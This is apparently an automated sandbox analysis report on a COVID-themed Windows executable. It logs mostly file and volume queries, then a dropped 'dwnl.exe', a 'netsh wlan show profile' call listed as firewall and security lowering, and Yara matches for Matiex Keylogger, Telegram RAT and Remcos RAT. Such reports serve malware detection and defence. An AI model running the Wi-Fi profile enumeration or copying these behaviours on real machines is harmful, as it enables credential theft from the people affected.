Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dwnl.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\dwnl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_00402832 Sleep,GetLocalTime,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDABV?$allocator@D@1@@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,printf,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: C:\Users\user\AppData\Local\Temp\UK COVID UPDATES AND ENTITLEMENT.exe

Code function: 28_2_0040E549 GetComputerNameExW,GetUserNameW,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@PBGABV?$allocator@G@1@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@PBGABV10@@Z,??Hstd@@YA?AV?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@0@ABV10@PBG@Z,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\dwnl.exe

Process created: C:\Windows\SysWOW64\netsh.exe 'netsh' wlan show profile

Stealing of Sensitive Information:

Yara detected Matiex Keylogger

Show sources

Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.842704.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2fcf496.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.0.dwnl.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2faeb92.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2f3f602.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.2ef094d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.3.UK COVID UPDATES AND ENTITLEMENT.exe.2f5ff06.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000000.430155447.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424932368.0000000002FAF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.492777549.0000000000822000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464230298.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.424995684.0000000002ED1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.432421502.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.464012145.0000000002F40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000000.429908152.0000000002ED0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UK COVID UPDATES AND ENTITLEMENT.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\dwnl.exe, type: DROPPED

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 00000021.00000002.499333644.0000000002D0B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dwnl.exe PID: 2896, type: MEMORYSTR

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.UK COVID UPDATES AND ENTITLEMENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3efd5c8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3ed9988.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.2f737f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UK COVID UPDATES AND ENTITLEMENT.exe.3f255e8.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.0.UK COVID UPDATES AND ENTITLEMENT.exe.400000.6.unpack, type: UNPACKEDPE
